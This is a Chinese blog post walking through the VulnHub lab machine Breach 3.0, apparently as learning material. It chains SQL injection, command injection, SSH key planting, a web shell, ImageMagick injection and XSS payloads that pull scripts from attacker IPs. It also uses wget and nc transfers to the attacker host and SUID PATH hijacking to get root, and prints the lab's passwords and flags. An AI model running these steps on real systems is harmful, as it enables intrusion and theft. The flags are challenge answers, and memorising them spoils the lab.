freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

vulnhub靶机之breach系列 | breach 3.0
2024-11-29 20:54:04
所属地 四川省

breach 3.0

1732352428082

全网唯二的完整版通关靶机记录

也是全网第一个文章形式的完整版通关记录

里面会涉及到踩过的坑 学到的或者突发奇想到的或者涉及到的延伸出去的一切东西 所以说文章可能有点长。

Zer0-hex文章里面很多地方参考了这位位于b站的大牛录制的通关视频 通篇学习其思路 真的牛!!

靶机发现

使用arp-scan -l命令去进行

得出来 靶机的地址为192.168.206.144

端口扫描

1732345762964

发现什么端口都没开放 明显不正常

有几种可能

第一种是 nmap执行的时候出错了 重新运行一下就可以

第二种是 我的扫描命令是针对于tcp端口的 可能对方没有开放任何的tcp端口 或许开放了udp端口

第三种情况是 可能对方设置了某些东西 必须得实现某些操作或者达到一些效果之后才能让端口打开 比如上一个靶机的sshd_config那个配置文件里面写的东西 再比如 端口敲门

端口敲门

通过在特定顺序上访问("敲门")一组隐藏端口来触发某种预定义的操作,例如开启某个端口或执行安全策略。

原理

  1. 目标主机的防火墙规则将特定端口隐藏或关闭。

  2. 当用户以特定的顺序对某些端口发送数据包(敲门序列)时,主机识别这个序列并触发某种动作,例如打开某个端口或执行脚本。

  3. 如果敲门序列正确,用户即可访问目标服务。

通常使用knock这个命令来实现这个操作

假设目标主机需要敲门顺序12345, 54321, 13579来解锁某个服务

则命令为

knock 192.168.1.10 12345 54321 13579

或者要求每个端口使用不同的协议

例如 第一个和第三个用tcp 第二个用udp

knock 192.168.1.10 12345:tcp 54321:udp 13579:tcp

回到上文 扫描udp试试

nmap -sV -p- -sS -T4 -Pn --min-rate 1000 -sU 192.168.206.144

1732347973462

发现开放161端口 详细看看

1732348363911

snmp

SNMP(Simple Network Management Protocol,简单网络管理协议)是一种用于网络管理的通信协议。它允许网络管理员监视网络设备的状态如路由器、交换机、服务器,并对其进行配置。

网上去找相关资料

https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp

直接利用

snmpwalk -Os -c public -v 1 192.168.206.144

1732351436912

出来这些东西 里面可能有价值的东西

iso.3.6.1.2.1.1.4.0 = STRING: "Email: Milton@breach.local - (545)-232-1876"
iso.3.6.1.2.1.1.5.0 = STRING: "Initech-DMZ01"
iso.3.6.1.2.1.1.6.0 = STRING: "Initech - is this thing on? I doubt anyone thinks to look here, anyways, I've left myself a way back in and burn the place down once again."

邮箱: Milton@breach.local

(545)-232-1876 : 有点像 上面说到的敲门砖的端口

试一下

knock 192.168.206.144 545 232 1876

重新扫描端口

1732352190661

发现开放这些端口

使用telnet 或 nc 去探测端口上面运行的什么 发现似乎都没有什么东西

尝试ssh连接看看

1732352348406

又是熟悉的邮箱加那串数字 看上去就是一个敲门砖

重复上面

knock 192.168.206.144 555 423 1800

然后再次进行端口扫描

1732352986334

发现多了这样的一个8端口

使用nmap的-sV参数再次扫描一下

1732353102291

是一个http的端口

直接访问看看

访问之后 需要登录 账号是milton 密码是系列中第一个靶机得到的 thelaststraw

登录成功

1732353439539

源代码没什么东西 访问那个地址

1732354086276

是一个登录框

尝试弱密码 尝试sql注入 尝试之前靶机得到的密码都不能进去之后

开始目录扫描

python3 dirsearch.py -u "http://192.168.206.144:8/"

什么也没有 换一个位置

python3 dirsearch.py -u "http://192.168.206.144:8/breach3"

发现images和blog目录

images目录访问是403 看blog目录

1732363082233

注意到那个人名: samir

mailto:samir@breach.local

再试试目录扫描 换一个工具 使用dirb

1732363321028

这次出来的东西更多

不过上面的 http://192.168.206.144:8/breach3/login.php 这个地址虽然状态码写的是 200 但实际上里面一点东西都没有

1732370434496

下面两个地址写的是302 会重定向到 http://192.168.206.144:8/breach3/thebobsadmin.php 地址

但是 一访问上面的两个地址中的任意一个 一瞬间会进行多次重定向 导致它会提示你

该网页无法正常运作
192.168.206.144 将您重定向的次数过多。

所以也无法利用

回过头去看那个登录框 再次尝试sql注入

这次直接保存登录的请求包为1.txt

1732371533602

sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --tamper=equaltolike --level=5 --risk=3 --dbms=mysql --dbs

使用如上命令去注入

1732371660849

他会问你是否要进行302重定向 上面分析过了 这里选择不要

但是还是没跑出来?

1732446063138

无奈选择手注

1' or'1'like'1

最后经过尝试 密码利用如上payload成功进去 同时账号名字为admin(有点奇怪 这么简单为什么没跑出来 可能是我工具出了点问题..)

1732448723446

进去之后 开始找功能点 点那个initech home进去再点第四个employee portal 最后进到这

1732449790806

再点右上角那个在线聊天

972e30f7-c1a3-4127-8254-1be28a26895c

注意: 这里有一个坑

你在这个页面也就是这个url下面

http://192.168.206.144:8/breach3/thebobscloudhostingllc/index.php

直接去点他是没办法跳转的

因为你如果直接点他 url的最后面会自动加上一个#(可以通过f12查看那个地方 可以发现就是一个井号) 同时这个页面应该使用了ajax技术 但是井号后面没有任何东西 所以说页面不会进行刷新

AJAX(Asynchronous JavaScript and XML)是一种在Web开发中常用的技术,它允许网页在不重新加载整个页面的情况下与服务器进行数据交换和更新部分网页内容。

必须选择email那个页面 也就是url得变成

http://192.168.206.144:8/breach3/thebobscloudhostingllc/email.php

这个样子 再点那个在线聊天才能进行跳转(在这个页面下 f12查看在线聊天那个地方 超链接也从 # 变成了 /livechat.php 这个样子)

1732452046027

尝试随便输入东西并且提交

url变成了这样

http://192.168.206.144:8/breach3/thebobscloudhostingllc/livechat.php?searcher=Submit

经过测试 后面进行get请求的参数是能够进行命令执行的

1732452217460

同时 这玩意似乎不能出网 所以说不能通过反弹shell来获取shell

现在我的身份是samir

uid=1003(samir) gid=1003(samir) groups=1003(samir),27(sudo)

看看有哪些用户 ls /home

blumbergh mbolton milton peter samir thebobs troll

这个thebobs应该是类似于管理员之类的人 进去看看

查看到

drwxr-xr-x 4 thebobs thebobs 4096 Nov 13  2016 .
drwxr-xr-x 9 root    root    4096 Aug 19  2016 ..
-rw------- 1 thebobs thebobs   48 Nov  2  2016 .bash_history
-rw-r--r-- 1 thebobs thebobs  220 Apr  8  2014 .bash_logout
-rw-r--r-- 1 thebobs thebobs 3637 Apr  8  2014 .bashrc
drwx------ 2 thebobs thebobs 4096 Sep 10  2016 .cache
-rw-r--r-- 1 thebobs thebobs  675 Apr  8  2014 .profile
drwxrwxrwx 2 thebobs thebobs 4096 Nov 13  2016 .ssh
-rw------- 1 thebobs thebobs  594 Nov 13  2016 .viminfo
-rw------- 1 thebobs thebobs   28 Sep 29  2016 flag1

这些东西 注意到 那个.ssh目录是777权限

也就是说别人也可以编辑这个目录里面的东西

详细看看里面

total 68
drwxrwxrwx 2 thebobs thebobs  4096 Nov 13  2016 .
drwxr-xr-x 4 thebobs thebobs  4096 Nov 13  2016 ..
-rw------- 1 thebobs thebobs 12288 Nov 13  2016 .swm
-rw------- 1 thebobs thebobs 12288 Nov 13  2016 .swn
-rw------- 1 thebobs thebobs 12288 Nov 13  2016 .swo
-rw------- 1 thebobs thebobs 12288 Nov 13  2016 .swp
-rwxrwxrwx 1 thebobs thebobs     0 Nov 13  2016 authorized_keys
-rwxrwxrwx 1 thebobs thebobs  1679 Sep 10  2016 id_rsa
-rwxrwxrwx 1 thebobs thebobs   403 Sep 10  2016 id_rsa.pub
-rwxrwxrwx 1 thebobs thebobs   222 Oct  6  2016 known_hosts

有公钥和私钥文件 看看能不能直接登录

查看私钥文件也就是id_rsa 将其复制下来 保存到本地为ssh 同时赋予其700权限

将公钥文件也就是id_rsa.pub 写入那个authorized_keys里面

cat /home/thebobs/.ssh/id_rsa.pub > /home/thebobs/.ssh/authorized_keys

同时赋予这个文件600权限

说到权限 随便看一眼当前用户可以sudo免密执行的指令

User samir may run the following commands on Initech-DMZ01:
    (thebobs) NOPASSWD: /bin/chmod

结果可以执行chmod


完成上面的步骤后 尝试ssh登录

ssh thebobs@192.168.206.144 -i ssh

会出现这个报错

sign_and_send_pubkey: no mutual signature supported

一个临时的解决办法是这样修改命令

ssh thebobs@192.168.206.144 -i ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa

不过还是登不上...不知道啥原因

1732463587024

那么只好自己在攻击机上生成一对公私钥 然后将公钥传上去 然后再重新登录

还是不行...

查看一番后发现

踩坑了...

1.那两个权限似乎必须是600和700

2.传公钥上去时不能直接在浏览器的地址栏 echo "公钥" > authorized_keys

因为公钥文件里面的原本该是+号的 被浏览器解析为了空格...可以base64加密一下 再echo进去 然后在解密出来

靶机被我玩坏了 重新部署了一下靶机 现在的ip变成了192.168.206.145


按照上面的方法

写公钥到靶机

echo "c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFEWDBZQnRPbzdobkVndWtSYjBuK2VuQWQ1Rml0U0MvOTd2bTdsTlNkc1E4YkhEeUZiZEpOTnJvUDNaMTRGV2JhL0pJN21oU2ljQkQ4VXpCT3JCSHdPaGxmSHdzTHNONXlLVnJ1eEp4ZXlNUzRQTjltNmd5QjRnRFlmbkllTjMwTWZEbVNNUHdpbnpKU0V3dVlCdE1vem9DU3lMdjhNZFBGc1lTU3pseXRONTNjb21VcURNa09xS1BzbTRzM2lObmNld253ZFpUU0F6cTBHL1ZXUTVPa0JydURWdndUSEZiUVpaOW5HdkRDamVEc0I5TTFwazJzdk1lQ1psNCt5S0NUb1pVOTB0Qi9oVzZoNmZZRHhYM1pRWDhZYXkzaGdXZmdkd2prZG0wcEFZa05zUkNNQ3pxbWozNVozY0FYbm5MRWZoVm92OE9CQmpaZWI5K1ZEeU94VnYgcm9vdEBuZXdrYWxp" | base64 -d > /home/thebobs/.ssh/authorized_keys

分别给权限

sudo -u thebobs chmod 700 /home/thebobs/.ssh/
sudo -u thebobs chmod 600 /home/thebobs/.ssh/authorized_keys

最终成功登录

1732534325742

登录发现当前的shell是python形式的 输入 **import pty;pty.spawn('/bin/bash')**去获得交互式的shell

获得完之后 当前的目录下就有flag1 直接读取

breach3{the_dmz_is_burning}

同时 在翻找文件的过程中 发现了数据库的连接方式 是免密连接

1732541736973

在里面还发现了blumbergh的密码

1732541827972

密码经过了5次base64解码之后得到

C0ff33stainS

然后就是找剩下的两个flag 尝试通过find和grep命令来找

find / flag* 或者 grep -rl flag / 2>/dev/null

都没有找到

那么先尝试提权

使用 uname -a 查看内核版本

Linux Initech-DMZ01 4.4.0-45-generic #66~14.04.1-Ubuntu SMP Wed Oct 19 15:05:38 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

发现能内核提权

搜索一下能利用的脚本

1732535973700

尝试用这个提权

Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)          | linux/local/43418.c

下载并且编译43418.c

gcc  /usr/share/exploitdb/exploits/linux/local/43418.c -static  -o 43418

然后用老办法 base64加密过去 然后再解密 然后给权限 运行

但是失败了??

1732540024971

之后换了好多的payload都是失败 但是我看视频用的也是这个payload就能成功...

看看能不能使用别的方法提权

用同样的方法上传一个脚本文件上去自动搜集信息

地址是

https://www.github.com/peass-ng/PEASS-ng/releases/download/20241101-6f46e855/linpeas.sh

发现能脏牛提权

结果尝试了还是失败...

通过查看当前网络配置信息

发现还有一个虚拟机在里面 网段是 192.168.122.0 这个网段

virbr0    Link encap:Ethernet  HWaddr fe:54:00:4b:73:5f
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:963 errors:0 dropped:0 overruns:0 frame:0
          TX packets:556 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:58984 (58.9 KB)  TX bytes:47230 (47.2 KB)

virbr0通常是一个由libvirt(用于管理虚拟化技术的库和工具)创建的虚拟网络桥接设备,用于KVM、QEMU或其他虚拟化解决方案中的虚拟机网络连接。

  • KVM(Kernel-based Virtual Machine):这是Linux上的一个开源的硬件虚拟化解决方案,它允许你创建和运行多个隔离的虚拟机环境。KVM自身只提供CPU和内存的虚拟化,但通常与QEMU等工具一起使用以提供更完整的虚拟化功能。

  • QEMU:这是一个通用的开源机器模拟器和虚拟化器,它可以模拟整个系统,包括硬件。QEMU可以独立使用,也可以与KVM一起使用来加速虚拟机的性能。

  • 虚拟化解决方案:这指的是允许在一台物理服务器上运行多个隔离虚拟操作系统的技术。除了KVM和QEMU,还有其他如VMware、Xen、VirtualBox等。

在这个靶机上还发现了nmap工具 或许是背景故事里面的黑客入侵留下的

当然 如果没有nmap的话 也可以运行以下命令来进行主机发现

for i in $(seq 2 254); do ping -c 1 192.168.122.$i -W 1| grep "bytes from "; done

1732540980856

如图 发现了两个虚拟机

对其进行端口扫描

1732544469652

开放如下几个端口 但是我的攻击机不能直接访问这些端口 尝试使用ssh隧道转发出来

ssh thebobs@192.168.206.145 -i ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa -L 4455:192.168.122.65:80

使用这个命令 将192.168.122.65的80端口 通过192.168.206.145这台跳板机 转发到我本地的4455端口

1732544680791

如图所示 转发成功

点进那个pdf converter这个页面里面去

1732552573453

里面有pdf convert upload这样的字眼

猜测使用了ImageMagick(跟着视频才知道的...)

ImageMagick 是一个非常强大的图像处理库,广泛用于Web服务中处理图像。然而,它也曾经因为安全漏洞而闻名,特别是那些可能导致远程代码执行(RCE)的漏洞。

https://imagetragick.com/

可以在上面的链接里面找到一下关于这个东西的漏洞利用方式

经过测试 发现类似于这样的格式

1732553717524

重新构造为

convert "pdfconverter.php.pdf | `sleep 5` " 1.png

就能执行sleep 5 的指令

1732554296281

但是换成类似于pwd这样的指令又看不出来成功执行了 但是通过sleep能看出来可以

可以自己测试一下 确实是能成功执行

回到靶机上面 在这里插入 同样是看不见pwd命令执行的效果 但是能sleep几秒之后页面才响应 可以判断出命令是被正常执行了

c02973f7dc6565e161215bfcfb1a2e7d

可以利用这里写个马进去 方便执行命令

1732596076787

路径根据之前上传的文件很容易能猜出来 就是

http://127.0.0.1:5566/intranet/6.php

如图所示 成功执行命令

1732596200133

接下来看看能不能出网 这个环境里面是有wget的 但是没有curl

1732596743401

如图所示 收到了回信 代表这台机器是可以进行出网的

既然有命令执行的点 又可以出网 尝试反弹shell

测试下来 当前环境是有nc的 使用nc反弹shell

但是连接上马上就断开了

1732597130175

换一种方式 使用bash反弹shell

不过这里又有坑

1732597234573

像bash这种反弹shell的形式 payload里面是有 **&**这个符号的 在url里面被视为参数的间隔符 所以说得给他url编码一下

还是不行???

再换

因为这个环境能执行wget 尝试在本地写一个能反弹shell的php文件 再起一个http服务器 让靶机来下载

http://127.0.0.1:1234/intranet/6.php?0=wget%20http://192.168.206.132:9966/shell2.php

同时靶机上也有php环境 让他执行就好了

http://127.0.0.1:1234/intranet/6.php?0=php shell2.php

1732600450811

如图 收到shell

升级一下tty

python -c "import pty;pty.spawn('/bin/bash')"

在/home/peter目录下面发现flag2

尝试读取 没有权限读取不了

先看看其他的东西

在/home/samir下面的.notes.txt文件里面 发现 infosecrockstar

感觉像密码 记录一下

samir:infosecrockstar

在/var/www/目录下面 还发现html2目录 里面文件所有者是samir的 之前的网站是属于html目录

尝试切换用户并且去读取

1732618644207

但是不知道为什么切换不了用户 密码肯定是对的...

1732618682703

同样是上传脚本文件自动进行信息搜集

得到内核版本

Linux version 3.16.0-4-amd64 (debian-kernel@lists.debian.org) (gcc version 4.8.4 (Debian 4.8.4-1) )

可以使用的漏洞 :

1732614466720

一些权限不太对的目录

1732614373798

两个哈希

-rw-r--r-- 1 root root 44 Sep 29  2016 /etc/nginx/.htpasswd
samir:$apr1$TnnxXJtR$IaTU8tuLNk4EyJPWI.YF6.
-rwxr-xr-x 1 samir samir 50 Sep 28  2016 /var/www/html2/support/.htpasswd
lazyadmin:$apr1$T/HawTDx$Rustt4xkTc.rtvGXTnpkV1

samir的哈希解密出来就是文章上面得到的密码

lazyadmin的哈希解密出来是test


尝试了一下提权

1732616254301

用的这个 但是提权失败

视频里面说peter的密码是这个 damnitfeel$goodtobeagang$ta

是在第二个靶机里面得到的(我咋没印象..我记得当时的peter的密码不是inthesource吗...)

1732616306705

直接切换用户 得到flag2

breach3{what_secrets_is_bill_hiding?}

比尔在隐瞒什么秘密

那么flag3应该就在另一个虚拟机里面了


注意到在/var/log/nginx这个目录下面 有两个日志文件可读 解压出来看看

注意 : 又有坑

直接在这个目录下面解压是不行的 解压不出来 得cp他们到/tmp目录下面才能解压查看

(也不是所有的文件都能被cp到/tmp目录 至少得是-r--r--r-- 这样的权限才行)

因为/tmp目录 对任何用户都是可读写的

drwxrwxrwt  8 root     root       4096 Nov 26 06:09 .

查看日志 发现192.168.122.28 这台机器 也就是之前主机发现到的另一台虚拟机 使用的浏览器是 Firefox/22.0

1732631670096

这个版本是有漏洞的

先放在一边 回头去看另一个端口 上述的一切都是80端口的 还有一个8800端口还没看 这个8800端口其实也就是上面说到的html2这个目录下面的东西

利用相同的办法 ssh隧道转发

ssh thebobs@192.168.206.145 -i ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa -L 1212:192.168.122.65:8800

1732632414358

成功转发 不过需要登录 尝试过后是samir:infosecrockstar 这一对

进去之后是这样

1732632702336

抓包看看随便提交数据看看

联想到系列中的上一个靶机 猜测有xss 最终在这个页面翻到提交的数据 (这个页面可以直接在靶机里面的那个html2的目录下面翻到)

1732635698617

回到上面的那个浏览器的漏洞

使用msf里面的 exploit/multi/browser/firefox_tostring_console_injection这个模块

跟breach:2.0 里面用到的那个xss很像

1732635871101

配置好参数 直接run

发现收不到session...

可能是xss的payload有问题 试试beef-xss

反正各种试xss的payload

<iframe src="http://192.168.206.132:7777/ppp"></iframe>
<script src="http://<ip>:3001/hook.js"></script>
<script src="http://192.168.206.132:7777/yxy"> alert(1)</script>

终于收到了shell

1732682816121

一般来说 这种由浏览器漏洞得到的shell很不稳定 使用另一个模块post/multi/manage/shell_to_meterpreter去稳定

中间又给我断了一次 好不容易又连上了

1732684780771

进入meterpreter类型的会话 使用shell进去 进去之后发现这台机器也就是内置的第二个虚拟机 那么flag3应该也在这里面

环境里面有python 升级tty

1732685053185

发现/home目录下面有这个blumbergh人的目录

利用上面信息搜集到的密码直接切换用户试试

blumbergh:C0ff33stainS

切换成功

尝试查找flag3

find / flag*

没找到 先尝试提权

尝试查找具有suid位的文件

find / -perm -u=s -type f 2>/dev/null

1732691371306

/home/blumbergh/swingline

发现这个文件具有suid权限 其他的似乎都不能利用

去查看一下

file /home/blumbergh/swingline
/home/blumbergh/swingline: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7edc6990791be6d637013f297b37b7cb496dccb0, not stripped

是一个elf可执行程序 尝试拿出来拿到本地进行分析

因为当前环境有nc这个命令 直接在kali本地监听一个端口

nc -lvvnp 4848 > 1.elf

然后在靶机上执行

nc 192.168.206.132 4848 < /home/blumbergh/swingline

这样就能将文件传到本地

然后放到https://dogbolt.org/这个平台上面在线分析

1732694061238

把逆向的结果拿到本地

详细分析

1732694355641

逆向出来的结果里面在mian函数里面的最后执行了system函数 pcVar1是一个变量

尝试动态分析 在system那里打断点 运行

Breakpoint 1,__libc_system (line=0x7fffffffe150 "ncat -6 -e /bin/bash 0:0:0:0:0:0:0:1 8889 >/dev/null 2>81 &echo") at ../sysdeps/posix/system.c:202 
202../sysdeps/posix/system.c:No such file or directory.

结果是这样 会执行这样的一条命令

ncat -6 -e /bin/bash 0:0:0:0:0:0:0:1 8889 >/dev/null 2>81 &echo

可以尝试进行环境变量提权

首先环境变量劫持提权的条件,就是系统中存在带有suid的文件(swingline),且这个 文件中必须有系统命令(ncat);
这样我们就可以命名一个和这个系统命令相同的文件,写入/bin/bash, 再将存放这个文件的路径加入环境变量中;
当系统去执行这个带有系统命令的文件时,就会直接执行我们命名和这个系统命令相同的文件,而非真实的系统命令;
从而实现劫持环境变量提权。

完美符合以上条件

直接输入以下内容

echo '#!/bin/bash' > ncat
chmod +x ncat
export PATH=/home/blumbergh:$PATH

检查一下

1732699036147

没问题

然后又有一个坑因为这是由meterpreter得到的shell 得重新"退"一下 然后才能完全加载这个重新设置的环境变量

也就是 像这样操作一遍(我也忘了到底需不需要退了..视频里面是说的要这样操作一下)

1732696823889

操作完成之后 再去直执行那个有suid位的文件 会看到这样

1732696892030

这也就代表提到了root权限

使用find命令查找flag3的位置

find / -type f -name '*flag3*' 2>/dev/null

??? 找不到 而且 root目录也进不去...看上去是提权失败了 不知道为什么..


还是用 视频里面的方法吧...

输入下面这些内容到ncat里面

#!/bin/bash
cp /bin/bash /tmp/shell
chmod +s /tmp/shell

然后配置好环境变量echo $PATH=$HOME:$PATH

直接运行 ./swingline

然后查看/tmp 发现出现shell 直接运行 成功得到root权限

1732699511835

然后再找flag3 找到在这里

/root/Desktop/ / /flag3.txt

中间的目录是两个空格 使用反斜杠来转义

1732699724328

最终得到flag3

至此 本系列完结撒花!!!

Congratulations on reaching the end! But is this the end? Or will there be more? Time will tell. For now I am going to sit on the beach and sip an umbrella drink with Milton.

If you completed the whole series, I hope you enjoyed it and learned some new things. My goal was to create some unique, progressively more difficult, challenges to showcase some real-world vulnerabilities in a fun/slightly frustrating manner.

Huge thanks goes to knightmare for his assistance along the way with all 3 of these VMs, especially the advice on emulation and disc space optimization as well as countless rounds of testing. 

Also shout-out to g0blin, Rand0mByteZ, mr_h4sh and vdbaan for testing this VM.

As always, thank you to g0tmi1k and the entire vulnhub crew for hosting these challenges and maintaining this amazing community.

Some words of advice: no one started as an expert, at some point you were stuck and someone helped you out. Don't be a dick. Pay it forward. 

If you are new or trying to break in, learn how to ask questions. Show that you've done your research first and most people will be more than willing to help.

Until next time.

-mrb3n

总结

非常考验信息搜集能力的一个靶机
里面也有好多我这个小白从来没见过的东西 踩了很多坑
也是打过的第一个靶机里面还有内置的虚拟机的
但是这个靶机的环境似乎存在很多问题 比如说命令执行不了 转发隧道不出来等等
可以尝试重启靶机 甚至 重新部署靶机
最后
希望有师傅能给我指点一下文章里面我出现的问题...谢谢谢谢谢

# 内网渗透 # 靶机环境 # vulnhub靶机 # 靶机渗透 # 靶机实战
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录